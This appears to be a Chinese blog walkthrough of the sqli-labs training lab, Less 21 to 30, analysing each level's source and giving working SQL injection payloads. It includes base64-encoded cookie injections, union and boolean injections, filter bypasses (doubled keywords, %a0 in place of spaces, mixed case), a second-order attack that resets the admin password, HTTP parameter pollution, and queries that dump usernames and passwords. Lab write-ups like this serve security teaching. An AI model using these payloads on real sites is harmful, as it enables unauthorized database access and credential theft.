上海网站制作 公司/免费企业黄页查询官网
走过路过不要错过
点击蓝字关注我们
我最怕的东西是黑暗,而最大的黑暗叫做孤独。
我不怕一个人独处,我只怕心里没有人。
匠心
前言
从 Less 18 开始修改 HTTP 头部信息的操作在 Firefox 浏览器的开发者工具也可以做。(f12)
less 21
源码分析用户输入被 check_input() 函数过滤
输入正常则产生cookie,并base64编码
获取cookie并进行数据库查询
cookie 没有被过滤,可以利用
直接在 cookie 处构造 payload 进行注入
cookie 参数进行单引号+括号闭合
注意 cookie 先进行 base64 编码
提交正确的账号登录,发现 cookie 被 base64 编码
构造 payload (使用 Hack bar 自带的 base64 编码器编码),可以看到有数据回显位
uname = ') union select 1,2,3 #uname = JykgdW5pb24gc2VsZWN0IDEsMiwzICM=
less 22
源码分析用户输入被 check_input() 过滤
获取 cookie,base64 解码,双引号引用,拼接 sql 语句进行数据库查询并返回数据
随便数据用户参数
构造 cookie,双引号闭合,base64 编码之后进行注入
查看数据回显
uname = " union select 1,2,3 # uname = IiB1bmlvbiBzZWxlY3QgMSwyLDMgIw==
less 23
源码分析get 注入
注释符"#" , "--" 被转义
参数单引号引用
有数据回显
闭合单引号
布尔注入判断第一步,有正常回显
?id= 1' and '1'='1
布尔注入判断第二步,信息不回显
?id= 1' and '1'='2
union 注入
查看数据回显
?id= ' union select 1,2,3 '
less 24
源码分析在登录界面登录之后数据传送到 login.php 处理
login.php 使用 mysql_real_escape_string 对参数中可能存在的特殊字符前添加反斜杠
传参正确后页面会重定向到 login_in.php 页面,该页面用于修改账号密码
输入要修改的密码之后页面会跳转到 pass_change.php 页面进行数据库的密码更新login_create.php 用于创建一个新用户,并将新用户信息插入数据库中
login.php
pass_change.php
login_create.php
漏洞点出现在 login_create.php 上
虽然有使用 mysql_escape_string() 在特殊字符前面添加一个反斜杠,但是在写入数据库的时候反斜杠又被去除了
创建一个用户名为 admin’# 的账号
使用 admin’# 进行登录,登录成功后修改密码,在 pass_change.php 的update 更新语句中相当于对管理员的账号 admin 进行修改密码。
用管理员的账号进行登录
less 25
源码分析输入参数被过滤(这里的正则不区分大小写)
单引号引用
有数据回显
但凡出现 or and 字符的地方都使用双写关键字绕过
闭合单引号
注释符要转换为URL编码 %23
数据回显
?id=0' union select 1,2,3 %23
数据库信息
?id=0' union select 1,database(),version() %23
爆表(ps:information 中的 or 字符会被过滤,所以也需要双写)
?id=0' union select 1,database(),(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security') %23
爆列,爆数据就不赘述了。
less 25a
源码分析和 Less 25 一样的配方,只不过 SQL 语句在拼接参数的时候没有对参数进行单引号引用。
less 26
源码分析将以下的字符转义为空:
or
and
注释符:/**/,--,#
空格
反斜杠
关键字双写绕过
闭合单引号代替注释符
%a0 代替空格
布尔注入判断
?id=1' %a0 aandnd %a0 '1'='1
布尔注入判断
?id=1' %a0 aandnd %a0 '1'='2
union 注入
数字回显
?id=0' %a0 union %a0 select %a0 1,2,3 %a0 '
数据库信息
?id=0' %a0 union %a0 select %a0 1,database(),version() %a0 '
爆表(ps:information --> infoorrmation )
?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(table_name) %a0 from %a0 infoorrmation_schema.tables %a0 where %a0 table_schema='security') %a0 '
爆列(ps:information --> infoorrmation ; and --> aandnd)
?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(column_name) %a0 from %a0 infoorrmation_schema.columns %a0 where %a0 table_schema='security' %a0 aandnd %a0 table_name='users') %a0 '
爆数据(ps:information --> infoorrmation ; password --> passwoorrd)
?id=0' %a0 union %a0 select %a0 1,(select %a0 group_concat(passwoorrd) %a0 from %a0 security.users),(select %a0 group_concat(username) %a0 from %a0 security.users) %a0 '
less 26a
源码分析参数被过滤
单引号+括号引用参数
单引号+括号闭合
其余步骤可参考 Less25
union 注入(数字回显)
?id= 0') %a0 union %a0 select %a0 1,2,3 %a0 aandnd %a0 ('1')=('1
less 27
源码分析参数被单引号引用
被过滤的字符串有:
/**/
--
#
空格
union,select(区分大小写)
过滤的关键字可以用大小写/双写绕过
%a0代替空格
单引号闭合
union注入(数字回显)
?id= 0' %a0 UNion %a0 SElect %a0 1,2,3 %a0 '
less 27a
源码分析和 Less 27 的差不多,就是参数使用双引号引用,注意双引号闭合即可。
less 28
源码分析。。。
单引号+括号引用参数
此番过滤的字符串更少
注意单引号+括号闭合
剩余思路可以参考 Less26a
less 28a
源码分析啊啊啊。。。。。。
less 29
源码分析index.php
这是一个普通 SQL 注入漏洞网页
login.php
该网页意在模拟两层服务器对参数的处理
参数先经过最外层的 tomcat 服务器处理(Java_implimenttation()和whitelist()) 之后将处理后的参数传递给 apache 服务器处理($id = $_GET['id'])
whitelist()
该函数意在使用正则表达式过滤除了数字之外的字符
java_implimentation()
该函数意为截取参数的第一个id值
构造两个 id 值,用 & 连接
第一个为数字,第二个构造 payload 进行注入
注释符使用 URL 编码 %23
当直接构造 payload 进行注入时
login.php?id= 0' union select 1,2,3 #
使用两个 id 注入
login.php?id=1&id= 0' union select 1,2,3 %23
less 30
源码分析和 Less 29 一样,就是参数由双引号引用,注入时注意双引号闭合即可
尾声
我是匠心,一个在清流旁默默磨剑的匠人,期待那一天能利剑出鞘,仗剑走江湖。